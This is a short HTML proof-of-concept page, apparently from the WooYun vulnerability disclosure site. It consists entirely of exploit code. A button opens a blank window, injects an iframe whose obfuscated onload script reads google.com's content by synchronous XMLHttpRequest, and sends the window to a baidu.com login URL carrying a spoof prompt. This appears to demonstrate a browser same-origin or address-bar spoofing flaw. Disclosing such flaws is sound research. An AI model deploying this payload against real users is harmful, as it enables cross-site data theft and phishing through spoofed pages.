WooYun.org

<script>
function poc(){
var w=open('about:blank');
setTimeout(function(){
w.document.body.innerHTML='<iframe id=g src=http://www.google.com width=100% height=100%  onload=\'javascript:function/**/createXHR(){return/**/window.XMLHttpRequest?new/**/XMLHttpRequest():new/**/ActiveXObject("Microsoft.XMLHTTP");}function/**/getlocal(url){xmlHttp=createXHR();xmlHttp.open("GET",url,false);xmlHttp.send();result=xmlHttp.responseText;return/**/result;}function/**/main(){url="http://www.google.com/";alert(url);location.href="http://www.baidu.com:55858/login.php?prompt=!!spoof!!test!!";result=getlocal(url);alert(result);}main();\'>';
//
 
},100);
}
</script>
<button onclick=poc();>打开</button>